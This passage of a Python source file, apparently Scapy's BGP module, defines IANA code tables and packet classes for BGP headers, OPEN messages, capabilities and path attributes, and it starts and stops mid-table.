(Telex)", 10: "X.121 (X.25, Frame Relay)", 11: "IPX", 12: "Appletalk", 13: "Decnet IV", 14: "Banyan Vines", 15: "E.164 with NSAP format subaddress", # ANDY_MALIS 16: "DNS (Domain Name System)", 17: "Distinguished Name", # CHARLES_LYNN 18: "AS Number", # CHARLES_LYNN 19: "XTP over IP version 4", # MIKE_SAUL 20: "XTP over IP version 6", # MIKE_SAUL 21: "XTP native mode XTP", # MIKE_SAUL 22: "Fibre Channel World-Wide Port Name", # MARK_BAKKE 23: "Fibre Channel World-Wide Node Name", # MARK_BAKKE 24: "GWID", # SUBRA_HEGDE 25: "AFI for L2VPN information", # RFC 6074 26: "MPLS-TP Section Endpoint Identifier", # RFC 7212 27: "MPLS-TP LSP Endpoint Identifier", # RFC 7212 28: "MPLS-TP Pseudowire Endpoint Identifier", # RFC 7212 29: "MT IP: Multi-Topology IP version 4", # RFC 7307 30: "MT IPv6: Multi-Topology IP version 6", # RFC 7307 16384: "EIGRP Common Service Family", # DONNIE_SAVAGE 16385: "EIGRP IPv4 Service Family", # DONNIE_SAVAGE 16386: "EIGRP IPv6 Service Family", # DONNIE_SAVAGE 16387: "LISP Canonical Address Format (LCAF)", # DAVID_MEYER 16388: "BGP-LS", # RFC 7752 16389: "48-bit MAC", # RFC 7042 16390: "64-bit MAC", # RFC 7042 16391: "OUI", # draft-ietf-trill-ia-appsubtlv 16392: "MAC/24", # draft-ietf-trill-ia-appsubtlv 16393: "MAC/40", # draft-ietf-trill-ia-appsubtlv 16394: "IPv6/64", # draft-ietf-trill-ia-appsubtlv 16395: "RBridge Port ID", # draft-ietf-trill-ia-appsubtlv 16396: "TRILL Nickname", # RFC 7455 65535: "Reserved" } subsequent_afis = { 0: "Reserved", # RFC 4760 1: "Network Layer Reachability Information used for unicast forwarding", # RFC 4760 # noqa: E501 2: "Network Layer Reachability Information used for multicast forwarding", # RFC 4760 # noqa: E501 3: "Reserved", # RFC 4760 4: "Network Layer Reachability Information (NLRI) with MPLS Labels", # RFC 3107 # noqa: E501 5: "MCAST-VPN", # RFC 6514 6: "Network Layer Reachability Information used for Dynamic Placement of\ Multi-Segment Pseudowires", # RFC 7267 7: "Encapsulation SAFI", # RFC 5512 8: "MCAST-VPLS", # RFC 7117 64: "Tunnel SAFI", # DRAFT-NALAWADE-KAPOOR-TUNNEL-SAFI-01 65: "Virtual Private LAN Service (VPLS)", # RFC 6074 66: "BGP MDT SAFI", # RFC 6037 67: "BGP 4over6 SAFI", # RFC 5747 68: "BGP 6over4 SAFI", # YONG_CUI 69: "Layer-1 VPN auto-discovery information", # RFC 5195 70: "BGP EVPNs", # RFC 7432 71: "BGP-LS", # RFC 7752 72: "BGP-LS-VPN", # RFC 7752 128: "MPLS-labeled VPN address", # RFC 4364 129: "Multicast for BGP/MPLS IP Virtual Private Networks (VPNs)", # RFC 6514 # noqa: E501 132: "Route Target constraint", # RFC 4684 133: "IPv4 dissemination of flow specification rules", # RFC 5575 134: "VPNv4 dissemination of flow specification rules", # RFC 5575 140: "VPN auto-discovery", # draft-ietf-l3vpn-bgpvpn-auto 255: "Reserved" # RFC 4760 } # Used by _bgp_dispatcher to instantiate the appropriate class _bgp_cls_by_type = { 1: "BGPOpen", 2: "BGPUpdate", 3: "BGPNotification", 4: "BGPKeepAlive", 5: "BGPRouteRefresh", } # # Header # class BGPHeader(Packet): """ The header of any BGP message. References: RFC 4271 """ name = "HEADER" fields_desc = [ XBitField( "marker", 0xffffffffffffffffffffffffffffffff, 0x80 ), ShortField("len", None), ByteEnumField("type", 4, _bgp_message_types) ] @classmethod def dispatch_hook(cls, _pkt=None, *args, **kargs): """ Returns the right class for the given data. """ return _bgp_dispatcher(_pkt) def post_build(self, p, pay): if self.len is None: length = len(p) if pay: length = length + len(pay) p = p[:16] + struct.pack("!H", length) + p[18:] return p + pay def guess_payload_class(self, payload): return _get_cls(_bgp_cls_by_type.get(self.type, conf.raw_layer), conf.raw_layer) # noqa: E501 def _bgp_dispatcher(payload): """ Returns the right class for a given BGP message. """ cls = conf.raw_layer # By default, calling BGP() will build a BGPHeader. if payload is None: cls = _get_cls("BGPHeader", conf.raw_layer) else: if len(payload) >= _BGP_HEADER_SIZE and\ payload[:16] == _BGP_HEADER_MARKER: # Get BGP message type message_type = orb(payload[18]) if message_type == 4: cls = _get_cls("BGPKeepAlive") else: cls = _get_cls("BGPHeader") return cls class BGP(Packet): """ Every BGP message inherits from this class. """ # # BGP messages types OPEN_TYPE = 1 UPDATE_TYPE = 2 NOTIFICATION_TYPE = 3 KEEPALIVE_TYPE = 4 ROUTEREFRESH_TYPE = 5 @classmethod def dispatch_hook(cls, _pkt=None, *args, **kargs): """ Returns the right class for the given data. """ return _bgp_dispatcher(_pkt) def guess_payload_class(self, p): cls = None if len(p) > 15 and p[:16] == _BGP_HEADER_MARKER: cls = BGPHeader return cls # # KEEPALIVE # class BGPKeepAlive(BGP, BGPHeader): """ KEEPALIVE message. """ name = "KEEPALIVE" # # OPEN # # # Optional Parameters Codes # optional_parameter_codes = { 0: "Reserved", 1: "Authentication (deprecated)", 2: "Capabilities" } # # Capabilities # _capabilities = { 0: "Reserved", # RFC 5492 1: "Multiprotocol Extensions for BGP-4", # RFC 2858 2: "Route Refresh Capability for BGP-4", # RFC 2918 3: "Outbound Route Filtering Capability", # RFC 5291 4: "Multiple routes to a destination capability", # RFC 3107 5: "Extended Next Hop Encoding", # RFC 5549 6: "BGP-Extended Message", # (TEMPORARY - registered 2015-09-30, expires 2016-09-30), # noqa: E501 # draft-ietf-idr-bgp-extended-messages 64: "Graceful Restart Capability", # RFC 4724 65: "Support for 4-octet AS number capability", # RFC 6793 66: "Deprecated (2003-03-06)", 67: "Support for Dynamic Capability (capability specific)", # draft-ietf-idr-dynamic-cap # noqa: E501 68: "Multisession BGP Capability", # draft-ietf-idr-bgp-multisession 69: "ADD-PATH Capability", # RFC-ietf-idr-add-paths-15 70: "Enhanced Route Refresh Capability", # RFC 7313 71: "Long-Lived Graceful Restart (LLGR) Capability", # draft-uttaro-idr-bgp-persistence # noqa: E501 73: "FQDN Capability", # draft-walton-bgp-hostname-capability 128: "Route Refresh Capability for BGP-4 (Cisco)", # Cisco also uses 128 for RR capability # noqa: E501 130: "Outbound Route Filtering Capability (Cisco)", # Cisco also uses 130 for ORF capability # noqa: E501 } _capabilities_objects = { 0x01: "BGPCapMultiprotocol", # RFC 2858 0x02: "BGPCapGeneric", # RFC 2918 0x03: "BGPCapORF", # RFC 5291 0x40: "BGPCapGracefulRestart", # RFC 4724 0x41: "BGPCapFourBytesASN", # RFC 4893 0x46: "BGPCapGeneric", # Enhanced Route Refresh Capability, RFC 7313 0x82: "BGPCapORF", # ORF / RFC 5291 (Cisco) } def _register_cls(registry, cls): registry[cls.__name__] = cls return cls _capabilities_registry = {} def _bgp_capability_dispatcher(payload): """ Returns the right class for a given BGP capability. """ cls = _capabilities_registry["BGPCapGeneric"] # By default, calling BGPCapability() will build a "generic" capability. if payload is None: cls = _capabilities_registry["BGPCapGeneric"] else: length = len(payload) if length >= _BGP_CAPABILITY_MIN_SIZE: code = orb(payload[0]) cls = _get_cls(_capabilities_objects.get(code, "BGPCapGeneric")) return cls class _BGPCap_metaclass(type): def __new__(cls, clsname, bases, attrs): newclass = super(_BGPCap_metaclass, cls).__new__( cls, clsname, bases, attrs) _register_cls(_capabilities_registry, newclass) return newclass class _BGPCapability_metaclass(Packet_metaclass, _BGPCap_metaclass): pass class BGPCapability(six.with_metaclass(_BGPCapability_metaclass, Packet)): """ Generic BGP capability. """ @classmethod def dispatch_hook(cls, _pkt=None, *args, **kargs): """ Returns the right class for the given data. """ return _bgp_capability_dispatcher(_pkt) def pre_dissect(self, s): """ Check that the payload is long enough (at least 2 bytes). """ length = len(s) if length < _BGP_CAPABILITY_MIN_SIZE: err = " ({}".format(length) + " is < _BGP_CAPABILITY_MIN_SIZE " err += "({})).".format(_BGP_CAPABILITY_MIN_SIZE) raise _BGPInvalidDataException(err) return s def post_build(self, p, pay): length = 0 if self.length is None: # capability packet length - capability code (1 byte) - # capability length (1 byte) length = len(p) - 2 p = p[:1] + chb(length) + p[2:] return p + pay class BGPCapGeneric(BGPCapability): """ This class provides an implementation of a generic capability. """ name = "BGP Capability" match_subclass = True fields_desc = [ ByteEnumField("code", 0, _capabilities), FieldLenField("length", None, fmt="B", length_of="cap_data"), StrLenField("cap_data", '', length_from=lambda p: p.length, max_length=255), ] # # Multiprotocol Extensions for BGP-4 # class BGPCapMultiprotocol(BGPCapability): """ This class provides an implementation of the Multiprotocol capability. References: RFC 4760 """ name = "Multiprotocol Extensions for BGP-4" match_subclass = True fields_desc = [ ByteEnumField("code", 1, _capabilities), ByteField("length", 4), ShortEnumField("afi", 0, address_family_identifiers), ByteField("reserved", 0), ByteEnumField("safi", 0, subsequent_afis) ] # # Outbound Route Filtering Capability for BGP-4 # _orf_types = { 0: "Reserved", # RFC 5291 64: "Address Prefix ORF", # RFC 5292 65: "CP-ORF", # RFC 7543 } send_receive_values = { 1: "receive", 2: "send", 3: "receive + send" } class BGPCapORFBlock(Packet): """ The "ORFBlock" is made of entries. """ class ORFTuple(Packet): """ Packet handling tuples. """ # (ORF Type (1 octet) / Send/Receive (1 octet)) .... name = "ORF Type" fields_desc = [ ByteEnumField("orf_type", 0, _orf_types), ByteEnumField("send_receive", 0, send_receive_values) ] name = "ORF Capability Entry" fields_desc = [ ShortEnumField("afi", 0, address_family_identifiers), ByteField("reserved", 0), ByteEnumField("safi", 0, subsequent_afis), FieldLenField( "orf_number", None, count_of="entries", fmt="!B" ), PacketListField( "entries", [], ORFTuple, count_from=lambda p: p.orf_number ) ] def post_build(self, p, pay): count = None if self.orf_number is None: count = len(self.entries) # orf_type (1 byte) + send_receive (1 byte) # noqa: E501 p = p[:4] + struct.pack("!B", count) + p[5:] return p + pay class BGPCapORFBlockPacketListField(PacketListField): """ Handles lists of BGPCapORFBlocks. """ def getfield(self, pkt, s): lst = [] length = None if self.length_from is not None: length = self.length_from(pkt) remain = s if length is not None: remain = s[:length] while remain: # block length: afi (2 bytes) + reserved (1 byte) + safi (1 byte) + # orf_number (1 byte) + entries (2 bytes * orf_number) orf_number = orb(remain[4]) entries_length = orf_number * 2 current = remain[:5 + entries_length] remain = remain[5 + entries_length:] packet = self.m2i(pkt, current) lst.append(packet) return remain, lst class BGPCapORF(BGPCapability): """ This class provides an implementation of the Outbound Route Filtering capability. References: RFC 5291 """ name = "Outbound Route Filtering Capability" match_subclass = True fields_desc = [ ByteEnumField("code", 3, _capabilities), ByteField("length", None), BGPCapORFBlockPacketListField( "orf", [], BGPCapORFBlock, length_from=lambda p: p.length ) ] # # Graceful Restart capability # gr_address_family_flags = { 128: "Forwarding state preserved (0x80: F bit set)" } class BGPCapGracefulRestart(BGPCapability): """ This class provides an implementation of the Graceful Restart capability. References: RFC 4724 """ class GRTuple(Packet): """Tuple """ name = "" fields_desc = [ShortEnumField("afi", 0, address_family_identifiers), ByteEnumField("safi", 0, subsequent_afis), ByteEnumField("flags", 0, gr_address_family_flags)] name = "Graceful Restart Capability" match_subclass = True fields_desc = [ByteEnumField("code", 64, _capabilities), ByteField("length", None), BitField("restart_flags", 0, 4), BitField("restart_time", 0, 12), PacketListField("entries", [], GRTuple)] # # Support for 4-octet AS number capability # class BGPCapFourBytesASN(BGPCapability): """ This class provides an implementation of the 4-octet AS number capability. References: RFC 4893 """ name = "Support for 4-octet AS number capability" match_subclass = True fields_desc = [ByteEnumField("code", 65, _capabilities), ByteField("length", 4), IntField("asn", 0)] # # Authentication Information optional parameter. # class BGPAuthenticationInformation(Packet): """ Provides an implementation of the Authentication Information optional parameter, which is now obsolete. References: RFC 1771, RFC 1654, RFC 4271 """ name = "BGP Authentication Data" fields_desc = [ByteField("authentication_code", 0), StrField("authentication_data", None)] # # Optional Parameter. # class BGPOptParamPacketListField(PacketListField): """ PacketListField handling the optional parameters (OPEN message). """ def getfield(self, pkt, s): lst = [] length = 0 if self.length_from is not None: length = self.length_from(pkt) remain = s if length is not None: remain, ret = s[:length], s[length:] while remain: param_len = orb(remain[1]) # Get param length current = remain[:2 + param_len] remain = remain[2 + param_len:] packet = self.m2i(pkt, current) lst.append(packet) return remain + ret, lst class BGPOptParam(Packet): """ Provides an implementation the OPEN message optional parameters. References: RFC 4271 """ name = "Optional parameter" fields_desc = [ ByteEnumField("param_type", 2, optional_parameter_codes), ByteField("param_length", None), ConditionalField( PacketField( "param_value", None, BGPCapability ), lambda p: p.param_type == 2 ), # It"s obsolete, but one can use it provided that # param_type == 1. ConditionalField( PacketField( "authentication_data", None, BGPAuthenticationInformation ), lambda p: p.param_type == 1 ) ] def post_build(self, p, pay): length = None packet = p if self.param_length is None: if self.param_value is None and self.authentication_data is None: length = 0 else: length = len(p) - \ 2 # parameter type (1 byte) - parameter length (1 byte) packet = p[:1] + chb(length) if (self.param_type == 2 and self.param_value is not None) or\ (self.param_type == 1 and self.authentication_data is not None): # noqa: E501 packet = packet + p[2:] return packet + pay # # OPEN # class BGPOpen(BGP): """ OPEN messages are exchanged in order to open a new BGP session. References: RFC 4271 """ name = "OPEN" fields_desc = [ ByteField("version", 4), ShortField("my_as", 0), ShortField("hold_time", 0), IPField("bgp_id", "0.0.0.0"), FieldLenField( "opt_param_len", None, length_of="opt_params", fmt="!B" ), BGPOptParamPacketListField( "opt_params", [], BGPOptParam, length_from=lambda p: p.opt_param_len ) ] def post_build(self, p, pay): if self.opt_param_len is None: length = len(p) - 10 # 10 is regular length with no additional # options p = p[:9] + struct.pack("!B", length) + p[10:] return p + pay # # UPDATE # # # Path attributes # # # Dictionaries path_attributes = { 0: "Reserved", 1: "ORIGIN", # RFC 4271 2: "AS_PATH", # RFC 4271 3: "NEXT_HOP", # RFC 4271 4: "MULTI_EXIT_DISC", # RFC 4271 5: "LOCAL_PREF", # RFC 4271 6: "ATOMIC_AGGREGATE", # RFC 4271 7: "AGGREGATOR", # RFC 4271 8: "COMMUNITY", # RFC 1997 9: "ORIGINATOR_ID", # RFC 4456 10: "CLUSTER_LIST", # RFC 4456 11: "DPA (deprecated)", # RFC 6938 12: "ADVERTISER (Historic) (deprecated)", # RFC 4223, RFC 6938 13: "RCID_PATH / CLUSTER_ID (Historic) (deprecated)", # RFC 4223, RFC 6938 14: "MP_REACH_NLRI", # RFC 4760 15: "MP_UNREACH_NLRI", # RFC 4760 16: "EXTENDED COMMUNITIES", # RFC 4360 17: "AS4_PATH", # RFC 6793 18: "AS4_AGGREGATOR", # RFC 6793 19: "SAFI Specific Attribute (SSA) (deprecated)", # draft-kapoor-nalawade-idr-bgp-ssa-00, # noqa: E501 # draft-nalawade-idr-mdt-safi-00, draft-wijnands-mt-discovery-00 20: "Connector Attribute (deprecated)", # RFC 6037 21: "AS_PATHLIMIT (deprecated)", # draft-ietf-idr-as-pathlimit 22: "PMSI_TUNNEL", # RFC 6514 23: "Tunnel Encapsulation Attribute", # RFC 5512 24: "Traffic Engineering", # RFC 5543 25: "IPv6 Address Specific Extended Community", # RFC 5701 26: "AIGP", # RFC 7311 27: "PE Distinguisher Labels", # RFC 6514 28: "BGP Entropy Label Capability Attribute (deprecated)", # RFC 6790, RFC 7447 # noqa: E501 29: "BGP-LS Attribute", # RFC 7752 40: "BGP Prefix-SID", # (TEMPORARY - registered 2015-09-30, expires 2016-09-30) # noqa: E501 # draft-ietf-idr-bgp-prefix-sid 128: "ATTR_SET", # RFC 6368 255: "Reserved for development" } # http://www.iana.org/assignments/bgp-parameters/bgp-parameters.xml attributes_flags = { 1: 0x40, # ORIGIN 2: 0x40, # AS_PATH 3: 0x40, # NEXT_HOP 4: 0x80, # MULTI_EXIT_DISC 5: 0x40, # LOCAL_PREF 6: 0x40, # ATOMIC_AGGREGATE 7: 0xc0, # AGGREGATOR 8: 0xc0, # COMMUNITIES (RFC 1997) 9: 0x80, # ORIGINATOR_ID (RFC 4456) 10: 0x80, # CLUSTER_LIST (RFC 4456) 11: 0xc0, # DPA (RFC 6938) 12: 0x80, # ADVERTISER (RFC 1863, RFC 4223) 13: 0x80, # RCID_PATH (RFC 1863, RFC 4223) 14: 0x80, # MP_REACH_NLRI (RFC 4760) 15: 0x80, # MP_UNREACH_NLRI (RFC 4760) 16: 0xc0, # EXTENDED_COMMUNITIES (RFC 4360) 17: 0xc0, # AS4_PATH (RFC 6793) 18: 0xc0, # AS4_AGGREGATOR (RFC 6793) 19: 0xc0, # SSA (draft-kapoor-nalawade-idr-bgp-ssa-00) 20: 0xc0, # Connector (RFC 6037) 21: 0xc0, # AS_PATHLIMIT (draft-ietf-idr-as-pathlimit) 22: 0xc0, # PMSI_TUNNEL (RFC 6514) 23: 0xc0, # Tunnel Encapsulation (RFC 5512) 24: 0x80, # Traffic Engineering (RFC 5543) 25: 0xc0, # IPv6 Address Specific Extended Community (RFC 5701) 26: 0x80, # AIGP (RFC 7311) 27: 0xc0, # PE Distinguisher Labels (RFC 6514) 28: 0xc0, # BGP Entropy Label Capability Attribute 29: 0x80, # BGP-LS Attribute 40: 0xc0, # BGP Prefix-SID 128: 0xc0 # ATTR_SET (RFC 6368) } class BGPPathAttrPacketListField(PacketListField): """ PacketListField handling the path attributes (UPDATE message). """ def getfield(self, pkt, s): lst = [] length = 0 if self.length_from is not None: length = self.length_from(pkt) ret = "" remain = s if length is not None: remain, ret = s[:length], s[length:] while remain: # # Get the path attribute flags flags = orb(remain[0]) attr_len = 0 if has_extended_length(flags): attr_len = struct.unpack("!H", remain[2:4])[0] current = remain[:4 + attr_len] remain = remain[4 + attr_len:] else: attr_len = orb(remain[2]) current = remain[:3 + attr_len] remain = remain[3 + attr_len:] packet = self.m2i(pkt, current) lst.append(packet) return remain + ret, lst # # ORIGIN # class BGPPAOrigin(Packet): """ Packet handling the ORIGIN attribute value. References: RFC 4271 """ name = "ORIGIN" fields_desc = [ ByteEnumField("origin", 0, {0: "IGP", 1: "EGP", 2: "INCOMPLETE"})] # # AS_PATH (2 bytes and 4 bytes) # as_path_segment_types = { # RFC 4271 1: "AS_SET", 2: "AS_SEQUENCE", # RFC 5065 3: "AS_CONFED_SEQUENCE", 4: "AS_CONFED_SET" } class ASPathSegmentPacketListField(PacketListField): """ PacketListField handling AS_PATH segments. """ def getfield(self, pkt, s): lst = [] remain = s while remain: # # Get the segment length segment_length = orb(remain[1]) if bgp_module_conf.use_2_bytes_asn: current = remain[:2 + segment_length * 2] remain = remain[2 + segment_length * 2:] else: current = remain[:2 + segment_length * 4] remain = remain[2 + segment_length * 4:] packet = self.m2i(pkt, current) lst.append(packet) return remain, lst class BGPPAASPath(Packet): """ Packet handling the AS_PATH attribute value (2 bytes ASNs, for old speakers). References: RFC 4271, RFC 5065 """ AS_TRANS = 23456 class ASPathSegment(Packet): """ Provides an implementation for AS_PATH segments with 2 bytes ASNs. """ fields_desc = [ ByteEnumField("segment_type", 2, as_path_segment_types), ByteField("segment_length", None), FieldListField("segment_value", [], ShortField("asn", 0)) ] def post_build(self, p, pay): segment_len = self.segment_length if segment_len is None: segment_len = len(self.segment_value) p = p[:1] + chb(segment_len) + p[2:] return p + pay name = "AS_PATH (RFC 4271)" fields_desc = [ ASPathSegmentPacketListField("segments", [], ASPathSegment)] class BGPPAAS4BytesPath(Packet): """ Packet handling the AS_PATH attribute value (4 bytes ASNs, for new speakers -> ASNs are encoded as IntFields). References: RFC 4893 """ class ASPathSegment(Packet): """ Provides an implementation for AS_PATH segments with 4 bytes ASNs. """ fields_desc = [ByteEnumField("segment_type", 2, as_path_segment_types), ByteField("segment_length", None), FieldListField("segment_value", [], IntField("asn", 0))] def post_build(self, p, pay): segment_len = self.segment_length if segment_len is None: segment_len = len(self.segment_value) p = p[:1] + chb(segment_len) + p[2:] return p + pay name = "AS_PATH (RFC 4893)" fields_desc = [ ASPathSegmentPacketListField("segments", [], ASPathSegment)] # # NEXT_HOP # class BGPPANextHop(Packet): """ Packet handling the NEXT_HOP attribute value. References: RFC 4271 """ name = "NEXT_HOP" fields_desc = [IPField("next_hop", "0.0.0.0")] # # MULTI_EXIT_DISC # class BGPPAMultiExitDisc(Packet): """ Packet handling the MULTI_EXIT_DISC attribute value. References: RFC 4271 """ name = "MULTI_EXIT_DISC" fields_desc = [IntField("med", 0)] # # LOCAL_PREF # class BGPPALocalPref(Packet): """ Packet handling the LOCAL_PREF attribute value. References: RFC 4271 """ name = "LOCAL_PREF" fields_desc = [IntField("local_pref", 0)] # # ATOMIC_AGGREGATE # class BGPPAAtomicAggregate(Packet): """ Packet handling the ATOMIC_AGGREGATE attribute value. References: RFC 4271 """ name = "ATOMIC_AGGREGATE" # # AGGREGATOR # class BGPPAAggregator(Packet): """ Packet handling the AGGREGATOR attribute value. References: RFC 4271 """ name = "AGGREGATOR" fields_desc = [ShortField("aggregator_asn", 0), IPField("speaker_address", "0.0.0.0")] # # COMMUNITIES # # http://www.iana.org/assignments/bgp-well-known-communities/bgp-well-known-communities.xml well_known_communities = { 0xFFFFFF01: "NO_EXPORT", # RFC 1997 0xFFFFFF02: "NO_ADVERTISE", # RFC 1997 0xFFFFFF03: "NO_EXPORT_SUBCONFED", # RFC 1997 0xFFFFFF04: "NOPEER", # RFC 3765 0xFFFF0000: "planned-shut", # draft-francois-bgp-gshut 0xFFFF0001: "ACCEPT-OWN", # RFC 7611 0xFFFF0002: "ROUTE_FILTER_TRANSLATED_v4", # draft-l3vpn-legacy-rtc 0xFFFF0003: "ROUTE_FILTER_v4", # draft-l3vpn-legacy-rtc 0xFFFF0004: "ROUTE_FILTER_TRANSLATED_v6", # draft-l3vpn-legacy-rtc 0xFFFF0005: "ROUTE_FILTER_v6", # draft-l3vpn-legacy-rtc 0xFFFF0006: "LLGR_STALE", # draft-uttaro-idr-bgp-persistence 0xFFFF0007: "NO_LLGR", # draft-uttaro-idr-bgp-persistence 0xFFFF0008: "accept-own-nexthop", # Ashutosh_Grewal } class BGPPACommunity(Packet): """ Packet handling the COMMUNITIES attribute value. References: RFC 1997 """ name = "COMMUNITIES" fields_desc = [IntEnumField("community", 0, well_known_communities)] # # ORIGINATOR_ID # class BGPPAOriginatorID(Packet): """ Packet handling the ORIGINATOR_ID attribute value. References: RFC 4456 """ name = "ORIGINATOR_ID" fields_desc = [IPField("originator_id", "0.0.0.0")] # # CLUSTER_LIST # class BGPPAClusterList(Packet): """ Packet handling the CLUSTER_LIST attribute value. References: RFC 4456 """ name = "CLUSTER_LIST" fields_desc = [ FieldListField("cluster_list", [], IntField("cluster_id", 0))] # # EXTENDED COMMUNITIES (RFC 4360) # # BGP Transitive Extended Community Types # http://www.iana.org/assignments/bgp-extended-communities/bgp-extended-communities.xhtml#transitive _ext_comm_types = { 0x00: "Transitive Two-Octet AS-Specific Extended Community", # RFC 7153 0x01: "Transitive IPv4-Address-Specific Extended Community", # RFC 7153 0x02: "Transitive Four-Octet AS-Specific Extended Community", # RFC 7153 0x03: "Transitive Opaque Extended Community", # RFC 7153 0x04: "QoS Marking", # Thomas_Martin_Knoll 0x05: "CoS Capability", # Thomas_Martin_Knoll 0x06: "EVPN", # RFC 7153 0x07: "Unassigned", 0x08: "Flow spec redirect/mirror to IP next-hop", # draft-simpson-idr-flowspec-redirect # noqa: E501 # BGP Non-Transitive Extended Community Types 0x40: "Non-Transitive Two-Octet AS-Specific Extended Community", # RFC 7153 # noqa: E501 0x41: "Non-Transitive IPv4-Address-Specific Extended Community", # RFC 7153 # noqa: E501 0x42: "Non-Transitive Four-Octet AS-Specific Extended Community", # RFC 7153 # noqa: E501 0x43: "Non-Transitive Opaque Extended Community", # RFC 7153 0x44: "QoS Marking", # Thomas_Martin_Knoll 0x80: "Generic Transitive Experimental Use Extended Community", # RFC 7153 0x81: "Generic Transitive Experimental Use Extended Community Part 2", # RFC 7674 # noqa: E501 0x82: "Generic Transitive Experimental Use Extended Community Part 3", # RFC 7674 # noqa: E501 } # EVPN Extended Community Sub-Types _ext_comm_evpn_subtypes = { 0x00: "MAC Mobility", # RFC 7432 0x01: "ESI Label", # RFC 7432 0x02: "ES-Import Route Target", # RFC 7432 0x03: "EVPN Router\"s MAC Extended Community", # draft-sajassi-l2vpn-evpn-inter-subnet-forwarding 0x04: "Layer 2 Extended Community", # draft-ietf-bess-evpn-vpws 0x05: "E-TREE Extended Community", # draft-ietf-bess-evpn-etree 0x06: "DF Election Extended Community", # draft-ietf-bess-evpn-df-election 0x07: "I-SID Extended Community", # draft-sajassi-bess-evpn-virtual-eth-segment # noqa: E501 } # Transitive Two-Octet AS-Specific Extended Community Sub-Types _ext_comm_trans_two_octets_as_specific_subtypes = { 0x02: "Route Target", # RFC 4360 0x03: "Route Origin", # RFC 4360 0x04: "Unassigned", # RFC 4360 0x05: "OSPF Domain Identifier", # RFC 4577 0x08: "BGP Data Collection", # RFC 4384 0x09: "Source AS", # RFC 6514 0x0a: "L2VPN Identifier", # RFC 6074 0x0010: "Cisco VPN-Distinguisher", # Eric_Rosen } # Non-Transitive Two-Octet AS-Specific Extended Community Sub-Types _ext_comm_non_trans_two_octets_as_specific_subtypes = { 0x04: "Link Bandwidth Extended Community", # draft-ietf-idr-link-bandwidth-00 # noqa: E501 0x80: "Virtual-Network Identifier Extended Community", # draft-drao-bgp-l3vpn-virtual-network-overlays } # Transitive Four-Octet AS-Specific Extended Community Sub-Types _ext_comm_trans_four_octets_as_specific_subtypes = { 0x02: "Route Target", # RFC 5668 0x03: "Route Origin", # RFC 5668 0x04: "Generic", # draft-ietf-idr-as4octet-extcomm-generic-subtype 0x05: "OSPF Domain Identifier", # RFC 4577 0x08: "BGP Data Collection", # RFC 4384 0x09: "Source AS", # RFC 6514 0x10: "Cisco VPN Identifier", # Eric_Rosen } # Non-Transitive Four-Octet AS-Specific Extended Community Sub-Types _ext_comm_non_trans_four_octets_as_specific_subtypes = { 0x04: "Generic", # draft-ietf-idr-as4octet-extcomm-generic-subtype } # Transitive IPv4-Address-Specific Extended Community Sub-Types _ext_comm_trans_ipv4_addr_specific_subtypes = { 0x02: "Route Target", # RFC 4360 0x03: "Route Origin", # RFC 4360 0x05: "OSPF Domain Identifier", # RFC 4577 0x07: "OSPF Route ID", # RFC 4577 0x0a: "L2VPN Identifier", # RFC 6074 0x0b: "VRF Route Import", # RFC 6514 0x0c: "Flow-spec Redirect to IPv4", # draft-ietf-idr-flowspec-redirect 0x10: "Cisco VPN-Distinguisher", # Eric_Rosen 0x12: "Inter-Area P2MP Segmented Next-Hop", # RFC 7524 } # Non-Transitive IPv4-Address-Specific Extended Community Sub-Types _ext_comm_non_trans_ipv4_addr_specific_subtypes = {} # Transitive Opaque Extended Community Sub-Types _ext_comm_trans_opaque_subtypes = { 0x01: "Cost Community", # draft-ietf-idr-custom-decision 0x03: "CP-ORF", # RFC 7543 0x04: "Extranet Source Extended Community", # RFC 7900 0x05: "Extranet Separation Extended Community", # RFC 7900 0x06: "OSPF Route Type", # RFC 4577 0x07: "Additional PMSI Tunnel Attribute Flags", # RFC 7902 0x0b: "Color Extended Community", # RFC 5512 0x0c: "Encapsulation Extended Community", # RFC 5512 0x0d: "Default Gateway", # Yakov_Rekhter 0x0e: "Point-to-Point-to-Multipoint (PPMP) Label", # Rishabh_Parekh 0x13: "Route-Target Record", # draft-ietf-bess-service-chaining 0x14: "Consistent Hash Sort Order", # draft-ietf-bess-service-chaining } # Non-Transitive Opaque Extended Community Sub-Types _ext_comm_non_trans_opaque_subtypes = { 0x00: "BGP Origin Validation State", # draft-ietf-sidr-origin-validation-signaling # noqa: E501 0x01: "Cost Community", # draft-ietf-idr-custom-decision } # Generic Transitive Experimental Use Extended Community Sub-Types _ext_comm_generic_transitive_exp_subtypes = { 0x00: "OSPF Route Type (deprecated)", # RFC 4577 0x01: "OSPF Router ID (deprecated)", # RFC 4577 0x05: "OSPF Domain Identifier (deprecated)", # RFC 4577 0x06: "Flow spec traffic-rate", # RFC 5575 0x07: "Flow spec traffic-action", # RFC 5575 0x08: "Flow spec redirect AS-2byte format", # RFC 5575, RFC 7674 0x09: "Flow spec traffic-remarking", # RFC 5575 0x0a: "Layer2 Info Extended Community", # RFC 4761 0x0b: "E-Tree Info", # RFC 7796 } # Generic Transitive Experimental Use Extended Community Part 2 Sub-Types _ext_comm_generic_transitive_exp_part2_subtypes = { 0x08: "Flow spec redirect IPv4 format", # RFC 7674 } # Generic Transitive Experimental Use Extended Community Part 3 Sub-Types _ext_comm_generic_transitive_exp_part3_subtypes = { 0x08: "Flow spec redirect AS-4byte format", # RFC 7674 } # Traffic Action Fields _ext_comm_traffic_action_fields = { 47: "Terminal Action", # RFC 5575 46: "Sample", # RFC 5575 } # Transitive IPv6-Address-Specific Extended Community Types _ext_comm_trans_ipv6_addr_specific_types = { 0x0002: "Route Target", # RFC 5701 0x0003: "Route Origin", # RFC 5701 0x0004: "OSPFv3 Route Attributes (DEPRECATED)", # RFC 6565 0x000b: "VRF Route Import", # RFC 6515, RFC 6514 0x000c: "Flow-spec Redirect to IPv6", # draft-ietf-idr-flowspec-redirect-ip # noqa: E501 0x0010: "Cisco VPN-Distinguisher", # Eric_Rosen 0x0011: "UUID-based Route Target", # Dhananjaya_Rao 0x0012: "Inter-Area P2MP Segmented Next-Hop", # RFC 7524 } # Non-Transitive IPv6-Address-Specific Extended Community Types _ext_comm_non_trans_ipv6_addr_specific_types = {} _ext_comm_subtypes_classes = { 0x00: _ext_comm_trans_two_octets_as_specific_subtypes, 0x01: _ext_comm_trans_ipv4_addr_specific_subtypes, 0x02: _ext_comm_trans_four_octets_as_specific_subtypes, 0x03: _ext_comm_trans_opaque_subtypes, 0x06: _ext_comm_evpn_subtypes, 0x40: _ext_comm_non_trans_two_octets_as_specific_subtypes, 0x41: 